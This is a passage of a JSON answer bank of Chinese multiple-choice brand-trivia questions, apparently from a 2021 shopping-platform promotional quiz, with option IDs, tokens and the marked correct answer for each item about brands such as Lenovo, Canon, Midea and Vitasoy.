16:47:55","status":"1"},{"questionId":"6101434039","questionIndex":"4","questionStem":"外交官品牌创自于?","options":"[{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJae7AuLPpYxZMI78V\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJaBAshvOIyGNqutvt\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}]","questionToken":"LcUSx0BQiz4h8W0A_ioSP93IyQcinBeiW_vZyr5bBa0Lqy3Sp40jyvgk9gdrhBy3vf5-9JIOKTNK9hnSwDKq7vTgCkjVZw","correct":"{\"optionId\":\"LcUSx0BQiz4h8W1X7WIJal8PbG-dBBukZqTc\",\"optionDesc\":\"台湾\"}","create_time":"2/2/2021 16:48:38","update_time":"2/2/2021 16:48:38","status":"1"},{"questionId":"6101434041","questionIndex":"2","questionStem":"外交官品牌到2021诞生多少周年?","options":"[{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJadYao91Hx8OdB2hy\",\"optionDesc\":\"30\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaGFYUqsjV7CO-CTZ\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}]","questionToken":"LcUSx0BQiz4m-W0G_ioSP7M6md-uTLFBRDHSiqyy51PS2_1c2hAZc4SCrLxz0egDbdikAxlvD2OCbQ8kKNPACo4vceEs-Q","correct":"{\"optionId\":\"LcUSx0BQiz4m-W1X7WIJaqXTC4OFFBYM4ItE\",\"optionDesc\":\"50\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434042","questionIndex":"1","questionStem":"维他奶成立多少年了?","options":"[{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaeryyzfONTcXPwA\",\"optionDesc\":\"60\"},{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJaKNpqfTdLcBluIw\",\"optionDesc\":\"40\"}]","questionToken":"LcUSx0BQiz4m-m0F_ioSOOwA7YP8udVPIIlpuShnmshVxn-5PQArCRPlMkO6JsNiy5PJQHzCj0sPU9YZXaufzppM5_Gokg","correct":"{\"optionId\":\"LcUSx0BQiz4m-m1X7WIJamtrMXPU160KJwA\",\"optionDesc\":\"80\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434043","questionIndex":"2","questionStem":"维他奶属于什么类型的奶?","options":"[{\"optionId\":\"LcUSx0BQiz4m-21X7WIJaB81wVHuis_tdg\",\"optionDesc\":\"固态奶\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"},{\"optionId\":\"LcUSx0BQiz4m-21X7WIJadpvCzLdjFl9Gw\",\"optionDesc\":\"动物奶\"}]","questionToken":"LcUSx0BQiz4m-20G_ioSOAZz_po034yY-QjMTZvj5kXm2zGetsQeqLfo0UITnK55Nkt1Ok4Usa61LFgNr4-zcctEfMVWuA","correct":"{\"optionId\":\"LcUSx0BQiz4m-21X7WIJatFNUVtXCzpqfA\",\"optionDesc\":\"植物蛋白饮料\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434044","questionIndex":"2","questionStem":"维他奶豆奶的主要原料是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJafLNii4dwBjf9Hs7\",\"optionDesc\":\"花生\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"},{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJaBYfiez1H-7VB3YC\",\"optionDesc\":\"红枣\"}]","questionToken":"LcUSx0BQiz4m_G0G_ioSOM7MEae6QdenWJzXVi1m7u-b54gkQ0O5e-MNAMOmLJIBSk6NsEzNuxb8z5M-ePUxEWURWFzMeQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_G1X7WIJahdGeOTDgvK3yiMH\",\"optionDesc\":\"大豆\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434045","questionIndex":"2","questionStem":"公牛BULL集团总部在哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaKQSEL2aYdjpDqU\",\"optionDesc\":\"四川\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJaWEOxLdY1PjCpaU\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}]","questionToken":"LcUSx0BQiz4m_W0G_ioSOKF6bDrQG-w3iIc0Koo1_6mKan_guKldR7jxgtM70XU8bdTCaSFevUw18S6Cl0vVjUPsnmEraQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_W1X7WIJavtmHJa6ARXtFsk\",\"optionDesc\":\"浙江\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"6101434046","questionIndex":"5","questionStem":"公牛品牌的标志颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaA8-3jnMAC5ufDkv\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJaQ8bdvNjOEr1hPjL\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4m_m0B_ioSP-uE2gB0DQkjCcSRV2umQPXiuv6Z2aklAug21ugmEZ2vsOnpXyZXKvwXwakUCBDJZd24BEtdeg","correct":"{\"optionId\":\"LcUSx0BQiz4m_m1X7WIJasBxsKKg90D1NK3m\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:48:06","update_time":"2/2/2021 16:48:06","status":"1"},{"questionId":"6101434047","questionIndex":"1","questionStem":"以下哪类产品属于公牛BULL售卖范围?","options":"[{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaQunLDuFX2bA2x-2Ow\",\"optionDesc\":\"加湿器\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"},{\"optionId\":\"LcUSx0BQiz4m_21X7WIJaN7ZITp3LPpg-oed3g\",\"optionDesc\":\"计算机\"}]","questionToken":"LcUSx0BQiz4m_20F_ioSOAku9qVgitwL4Oim2C5PH4cuOlg5UIrMArdANyo0qWBFzCuzQ24P7pgp8PZHXoca-ta8vaL_FQ","correct":"{\"optionId\":\"LcUSx0BQiz4m_21X7WIJavIj1N7CWbsUzCJIRA\",\"optionDesc\":\"墙壁开关\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434048","questionIndex":"3","questionStem":"品胜第一个移动电源为谁研发?","options":"[{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJafYTRKrkMSjfxEP1FQ\",\"optionDesc\":\"运动员\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"},{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJaExWl2jX85Od_Hvpsg\",\"optionDesc\":\"艺术家\"}]","questionToken":"LcUSx0BQiz4m8G0H_ioSODSOt4d_PN5KxsIYCWrH0zBL9Iu6Rf-IcdrE8VGV-R8eGBNvDTSFhXwXTAiT9WoJ5x-_v-nZEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8G1X7WIJamiMi9Cm-juQxMum4A\",\"optionDesc\":\"探险队\"}","create_time":"2/2/2021 16:47:31","update_time":"2/2/2021 16:47:31","status":"1"},{"questionId":"6101434049","questionIndex":"5","questionStem":"品胜是不是CBA的赞助商?","options":"[{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaMY_uWzgoI2S_zmZPg\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJaRq2ndJ3Jgj7Pc2sjg\",\"optionDesc\":\"不是\"}]","questionToken":"LcUSx0BQiz4m8W0B_ioSP-IKNxjCDjeI1SR-7BY9-J6yTpV_JQZuUkz-dS_sk9cOAU4meRhAFAcVNGyyCQNRvuJeTxLdEg","correct":"{\"optionId\":\"LcUSx0BQiz4m8W1X7WIJakyI_N3ObEeDJg7Obw\",\"optionDesc\":\"是\"}","create_time":"2/2/2021 16:48:09","update_time":"2/2/2021 16:48:09","status":"1"},{"questionId":"6101434050","questionIndex":"1","questionStem":"品胜的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaAg7qp8HRZlzdm5-0w\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJaWQE4BnfBXcKIGI9ow\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}]","questionToken":"LcUSx0BQiz4n-G0F_ioSP6GUciWmzWvzlV8FokTxxsrywlAYXYIC-BvGCLDW3A-KDw3igEG9CszWGkcOBwvqYmUza2alHQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-G1X7WIJauKd1ykv6Z7GERUslQ\",\"optionDesc\":\"黄色\"}","create_time":"2/2/2021 16:48:53","update_time":"2/2/2021 16:48:53","status":"1"},{"questionId":"6101434051","questionIndex":"5","questionStem":"金海马是在什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaI-GDzM1VDzUsmA8\",\"optionDesc\":\"成立于1992年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"},{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJaZtt32ccY2H69ocu\",\"optionDesc\":\"成立于1991年\"}]","questionToken":"LcUSx0BQiz4n-W0B_ioSOG3x9J1aGijGH-de6i7TO7fpQTJoZYB5Sz_vkl-AXMZRXlPmtXb310Bk-qx-Orec4pPc2XHioQ","correct":"{\"optionId\":\"LcUSx0BQiz4n-W1X7WIJav9hdR0Wb7WxNwc_\",\"optionDesc\":\"成立于1990年\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434052","questionIndex":"4","questionStem":"金海马主要经营什么类目?","options":"[{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaOSfRx4mGNJf4TcT\",\"optionDesc\":\"服装\"},{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJaUSUZxNa1lq1MXRk\",\"optionDesc\":\"生鲜\"}]","questionToken":"LcUSx0BQiz4n-m0A_ioSP7NPMM0NjLhoSM4GqwcZnZgz5B7CNnc5YOskD-UxbZxDUHZngDguwfMcEb6G10CiVsCjcplOFg","correct":"{\"optionId\":\"LcUSx0BQiz4n-m1X7WIJagHmApIkStxoDb8W\",\"optionDesc\":\"家具家居\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434054","questionIndex":"4","questionStem":"港荣什么时候成立的?","options":"[{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaZYxwCTJNjTNfFM\",\"optionDesc\":\"1992年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaIOxyGYfc3ypYPY\",\"optionDesc\":\"1991年\"},{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}]","questionToken":"LcUSx0BQiz4n_G0A_ioSP26sxm2NpfIN7ocFpAZmR7QgotQ6I43Vv92nyMU4Ed5Rp8cdLe2QOPUyXQwjsAUyGlkVPYFFcA","correct":"{\"optionId\":\"LcUSx0BQiz4n_G1X7WIJaurGc3KHoEl_oMw\",\"optionDesc\":\"1993年\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434055","questionIndex":"3","questionStem":"小度在哪一年春晚闪亮登场?","options":"[{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaTP78QfL5sXZSdlH\",\"optionDesc\":\"2008\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJaOtsxVdhN23LDNEM\",\"optionDesc\":\"2018\"},{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}]","questionToken":"LcUSx0BQiz4n_W0H_ioSP0cIfllxmjZkegvexZgevn4QWVd7XFKfvmrNDg-S0pmfNspRZidb4qVjkAjf9K8yg-gzv8Vl9w","correct":"{\"optionId\":\"LcUSx0BQiz4n_W1X7WIJan3GotWMIa1xuMzy\",\"optionDesc\":\"2019\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434056","questionIndex":"5","questionStem":"小度智能耳机支持哪种语言同声翻译?","options":"[{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaLvc6Gu-Bxa5UK4Y\",\"optionDesc\":\"中法\"},{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJaWPXiEr0GoNcAggH\",\"optionDesc\":\"中日\"}]","questionToken":"LcUSx0BQiz4n_m0B_ioSP6BZY_m9UY9JAFwW4Buin6UhwBurz-zmOMPfaX8plKZv1-RIU68OTMCcnyxMEV4bx_lRHX7kaA","correct":"{\"optionId\":\"LcUSx0BQiz4n_m1X7WIJajyOKDLwtXvbY94f\",\"optionDesc\":\"中英\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434057","questionIndex":"4","questionStem":"小度X8是哪一个综艺的明星爆款?","options":"[{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaccGVUKumBhZhME8\",\"optionDesc\":\"向往的生活3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJaBLlUWNIdhtZWJh-\",\"optionDesc\":\"亲爱的客栈3\"},{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}]","questionToken":"LcUSx0BQiz4n_20A_ioSONYhnA7KtgoFct1igqGWD0q3or1Zg-nOcFdwkjQMp6TRzrs-Q8ry_pCISbwcfCWUmHf27J7R5A","correct":"{\"optionId\":\"LcUSx0BQiz4n_21X7WIJataXyxNFaqrJjSay\",\"optionDesc\":\"向往的生活4\"}","create_time":"2/2/2021 16:47:48","update_time":"2/2/2021 16:47:48","status":"1"},{"questionId":"6101434058","questionIndex":"5","questionStem":"腾达Wi-Fi6有几款?","options":"[{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaFHdcKdD4EZ9T_QO\",\"optionDesc\":\"5款\"},{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaczilEPfv5kVWfsg\",\"optionDesc\":\"3款\"}]","questionToken":"LcUSx0BQiz4n8G0B_ioSOAbcfRsfHcELPp_okAWrV3iigENF8gIQy9ymZRDrteGFx26XTyoE3LOnlQCb5XNnCbOJDUTxOQ","correct":"{\"optionId\":\"LcUSx0BQiz4n8G1X7WIJaq2lnMwEzS0e2SXs\",\"optionDesc\":\"1款\"}","create_time":"2/2/2021 16:48:16","update_time":"2/2/2021 16:48:16","status":"1"},{"questionId":"6101434059","questionIndex":"1","questionStem":"腾达AX3路由器是什么处理器?","options":"[{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaOvhgqIjnrP37AAVRw\",\"optionDesc\":\"高通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJaV-JSXXGMWITw5VxcQ\",\"optionDesc\":\"博通\"},{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}]","questionToken":"LcUSx0BQiz4n8W0F_ioSPxcZG6kqGz6TwwgFMJ54wCJ0I4x5neK4J25LYZ1eSLtWhaootc0-67lGklM3PDl3rijcpZCN5w","correct":"{\"optionId\":\"LcUSx0BQiz4n8W1X7WIJavPFFNewFYytG6knIA\",\"optionDesc\":\"联发科\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"6101434060","questionIndex":"2","questionStem":"腾达总部位于哪里?","options":"[{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaI4hSCUQ70g3ZtA\",\"optionDesc\":\"深圳\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJabHJELy8CtVQPp8\",\"optionDesc\":\"上海\"},{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}]","questionToken":"LcUSx0BQiz4k-G0G_ioSOAemjigd4y_Z14E30AQRtB0Z7oMvhzvLkH7br03zQGUfPEDmw98-DQ-IR35sapjP_MaEQeCE9w","correct":"{\"optionId\":\"LcUSx0BQiz4k-G1X7WIJaibZZbLx2hfkRXs\",\"optionDesc\":\"北京\"}","create_time":"2/2/2021 16:48:10","update_time":"2/2/2021 16:48:10","status":"1"},{"questionId":"6101434061","questionIndex":"1","questionStem":"佳能的LOGO是什么颜色?","options":"[{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJaCcHO8b5YtSE7Nm6Vg\",\"optionDesc\":\"黄色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"},{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJabDBzua6wLeEMSjs7A\",\"optionDesc\":\"蓝色\"}]","questionToken":"LcUSx0BQiz4k-W0F_ioSP5vBPOGEacOZ_J6gpuN6bhEgmCnJ8Lj3qN0y09J6u2_Z5ETZ6A8xOndVAsaRw_jq_lBw_8b1yg","correct":"{\"optionId\":\"LcUSx0BQiz4k-W1X7WIJakie_4kIYLr3XXEc6Q\",\"optionDesc\":\"红色\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"6101434062","questionIndex":"5","questionStem":"佳能相机适合什么年龄的人使用?","options":"[{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaZGDwY68TCK_N1Kf\",\"optionDesc\":\"20岁以下\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"},{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJaBFpJqqlb0grmUtm\",\"optionDesc\":\"50岁以上\"}]","questionToken":"LcUSx0BQiz4k-m0B_ioSOPMXRAfFYMFgXzeM3Alv-NwcPhDVMjdQnqBPnAecRzNCjgv0hFWbFcCX2QthzDFW1XqsnFUhJQ","correct":"{\"optionId\":\"LcUSx0BQiz4k-m1X7WIJajTdREWHF4vmQiCK\",\"optionDesc\":\"任何年龄段都适用\"}","create_time":"2/2/2021 16:47:55","update_time":"2/2/2021 16:47:55","status":"1"},{"questionId":"6101434063","questionIndex":"2","questionStem":"佳能成立时间是哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJac4NZD6yPFAx50wL\",\"optionDesc\":\"2017年\"},{\"optionId\":\"LcUSx0BQiz4k-21X7WIJaMyM-L1Wz0pFc7AR\",\"optionDesc\":\"1957年\"}]","questionToken":"LcUSx0BQiz4k-20G_ioSP06tLLbb7vRk5yd18jIns_HvyVxG4s6v02kvKA-jDXLLJYrXCv_hQvT2MI8sLQFsocIiketvxg","correct":"{\"optionId\":\"LcUSx0BQiz4k-21X7WIJauKNJeaqmjM1UnPH\",\"optionDesc\":\"1937年\"}","create_time":"2/2/2021 16:48:01","update_time":"2/2/2021 16:48:01","status":"1"},{"questionId":"6101434064","questionIndex":"3","questionStem":"联想的logo正确使用是那个?","options":"[{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJactNFc6OoKSLKKmDPw\",\"optionDesc\":\"lenovo\"},{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJaBe8uontxurCzqXOhw\",\"optionDesc\":\"联想\"}]","questionToken":"LcUSx0BQiz4k_G0H_ioSP72CIBdTV8wGKbOdrXH0VzV_5D-0uEfncEvgPLzCdghpNeLq-IHJitTkFQMD6fRlOuhHl8yzXw","correct":"{\"optionId\":\"LcUSx0BQiz4k_G1X7WIJar3w1w-MmREoW1Ux5w\",\"optionDesc\":\"lenovo联想\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"6101434065","questionIndex":"4","questionStem":"联想成立于那年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaIkQgdn8es1aaKHjLw\",\"optionDesc\":\"1995年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"},{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJaVSw-kEqatVKQ72LuQ\",\"optionDesc\":\"2000年\"}]","questionToken":"LcUSx0BQiz4k_W0A_ioSOJcPG_FRhCFdrVKyCIsueNwUdcNi9x2JcTtDyEhHvwmtTRh9o2DXB1lmjYPeyTUAX2b_Iex9bA","correct":"{\"optionId\":\"LcUSx0BQiz4k_W1X7WIJalNihzkOB0mjl4FX9Q\",\"optionDesc\":\"1984年\"}","create_time":"2/2/2021 16:48:00","update_time":"2/2/2021 16:48:00","status":"1"},{"questionId":"6101434066","questionIndex":"2","questionStem":"联想游戏本系列叫什么名字?","options":"[{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJadpSOOSHRj2XTtbX\",\"optionDesc\":\"联想小新\"},{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJaKqsF9SE-6CPEsi6\",\"optionDesc\":\"联想YOGA\"}]","questionToken":"LcUSx0BQiz4k_m0G_ioSP9sFRyVg_7gWTSjGpxeQQ7QpMeCBtb6rbLHYtLXlhNwtWPhKhXXxBXQfaNrpivbfIK_t-IDSJA","correct":"{\"optionId\":\"LcUSx0BQiz4k_m1X7WIJan6A9krW8QWhOGzW\",\"optionDesc\":\"联想拯救者\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"6101434067","questionIndex":"4","questionStem":"ThinkPad小红点起源于哪年?","options":"[{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaBo5oVXWw4OfTBW6WA\",\"optionDesc\":\"2077\"},{\"optionId\":\"LcUSx0BQiz4k_21X7WIJaRyNGXlXTttFiuaWFQ\",\"optionDesc\":\"1921\"}]","questionToken":"LcUSx0BQiz4k_20A_ioSOJjJdmPwpQaFq1E0GVuR-5qkT9uynq567keGTPtuiPzyldfmI-wDUHjQr3Y-sfE78joCasZ74g","correct":"{\"optionId\":\"LcUSx0BQiz4k_21X7WIJan2pVT7Dlgghaq6OmA\",\"optionDesc\":\"1992\"}","create_time":"2/2/2021 16:47:34","update_time":"2/2/2021 16:47:34","status":"1"},{"questionId":"6101434068","questionIndex":"4","questionStem":"最早ThinkPad黑色外观设计灵感来源?","options":"[{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaU380FYCeEHV0mm-\",\"optionDesc\":\"铅笔盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"},{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJaJvmvZRumfLlLGp2\",\"optionDesc\":\"盲盒\"}]","questionToken":"LcUSx0BQiz4k8G0A_ioSOO9l2uw56mD9wIlfa16S-tUAocXI-90acTwUI2gQ-KIx-p2F2IBDKOOMCO51zQ6EzJAD5Scf9w","correct":"{\"optionId\":\"LcUSx0BQiz4k8G1X7WIJapCQn2n2lyMgzlqW\",\"optionDesc\":\"松花堂便当盒\"}","create_time":"2/2/2021 16:48:03","update_time":"2/2/2021 16:48:03","status":"1"},{"questionId":"6101434069","questionIndex":"3","questionStem":"ThinkPad经典颜色是什么?","options":"[{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJafg0ktWRq6sBTP9Aiw\",\"optionDesc\":\"白色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"},{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJaAr1Vmr7CTR6Q50RxA\",\"optionDesc\":\"红色\"}]","questionToken":"LcUSx0BQiz4k8W0H_ioSOCbUD2GaNNdpl1dIGoiWLkyQhqweFz5Dbrq7sNXyO7MgBglbYc_o29luEMWvEhnuUlCVpFemFw","correct":"{\"optionId\":\"LcUSx0BQiz4k8W1X7WIJakt5NNgPZwIYJlWDXQ\",\"optionDesc\":\"黑色\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"6101434070","questionIndex":"3","questionStem":"美的集团成立于哪一年?","options":"[{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaS7dX8SWNP7-7FRI\",\"optionDesc\":\"1986年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJaPnZh71ZItqDwsNT\",\"optionDesc\":\"1976年\"},{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}]","questionToken":"LcUSx0BQiz4l-G0H_ioSP2QVjeVuzmR-VBLlhuMpx9TsEIs5Ncdy-sunH9d366wfxL4iRrhD2Cm_tJj75k804s4NCHYaKw","correct":"{\"optionId\":\"LcUSx0BQiz4l-G1X7WIJauHYo_8MYf4zTBcC\",\"optionDesc\":\"1968年\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"6101434071","questionIndex":"1","questionStem":"美的集团的创始人是?","options":"[{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaMmfjb-adkmIern_\",\"optionDesc\":\"何剑锋\"},{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaUMr5VV5XuJQlaAO\",\"optionDesc\":\"方洪波\"}]","questionToken":"LcUSx0BQiz4l-W0F_ioSOJGOQeLWaNc4Li-3LNow-xFEjqYPYFyoK-jyZPF90DAHvIqfQ8X-MOnuWkmMKSQ3OZMKfinaJA","correct":"{\"optionId\":\"LcUSx0BQiz4l-W1X7WIJaq7bVWVLzRJjkmiO\",\"optionDesc\":\"何享健\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"6101434072","questionIndex":"5","questionStem":"美的集团总部坐落于?","options":"[{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJaGS5jxgHwxY-Z8D4\",\"optionDesc\":\"芜湖\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJac3V5EhEXv6H8MM8\",\"optionDesc\":\"广州\"},{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}]","questionToken":"LcUSx0BQiz4l-m0B_ioSOHRHbvHkSWIFIyn4ww20dx_Fe8BHewdtJ5iCKbB7Aju2bqbxkSdmdBr4j01SGBGLpNfKozTfUA","correct":"{\"optionId\":\"LcUSx0BQiz4l-m1X7WIJasYOKF5hnuEs9V7B\",\"optionDesc\":\"顺德\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"6101434073","questionIndex":"5","questionStem":"以下哪个不是美的空调专利技术?","options":"[{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJafRTCew22VHt7_0\",\"optionDesc\":\"高频速冷热专利\"},{\"optionId\":\"LcUSx0BQiz4l-21X7WIJaJCAQYVxsMVrugc\",\"optionDesc\":\"无风感专利\"}]","questionToken":"LcUSx0BQiz4l-20B_ioSP4sI_YtM8Mj54R3OXU_n4PxO82ysfuXVL2k_4vaXvEAq0cbU8eu4ZUzvCBl6hvzvOygnNex6Bg","correct":"{\"optionId\":\"LcUSx0BQiz4l-21X7WIJahntP1vTXc0Y4Ms\",\"optionDesc\":\"自清洁专利\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 